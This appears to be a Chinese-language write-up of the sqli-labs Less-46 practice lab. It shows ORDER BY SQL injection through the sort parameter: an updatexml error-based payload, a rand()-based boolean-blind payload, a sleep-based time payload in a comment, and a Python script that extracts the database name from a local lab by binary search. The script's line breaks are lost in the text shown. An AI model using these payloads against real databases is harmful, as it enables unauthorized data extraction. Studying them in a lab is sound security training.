看看源码
最终我们的id是放到order by后面了
如果我们直接用列去排序
?sort=username/password
username:
passward
可以看到顺序是不同的,当然第一列第二列第三列也可以,基本上都是这个原理,那怎么去实现注入呢,我们主要是通过rand()去实现一个盲注或者报错注入(如果打印报错)
报错注入;真的走第一个错的走第二个我们想走第二个,这样就可以实现
?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)
那如果是盲注的话,写true和false排序是不同的,所有我们可不可以用rand去进行排序
?sort=rand(ascii(mid((select%20database()),1,1))>114)
我们通过找第一个字段,来爬取判断,为真的话是admin3,因为布尔true=3
# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/25 16:31
@version: 1.0
"""
import requests
import time
from bs4 import BeautifulSoup"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""
def inject_database(url):name = ''for i in range(1, 100):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)res = {"sort": payload}r = requests.post(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getUsername = soup.find_all('td')[1].textif getUsername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli/Less-46/index.php'inject_database(url)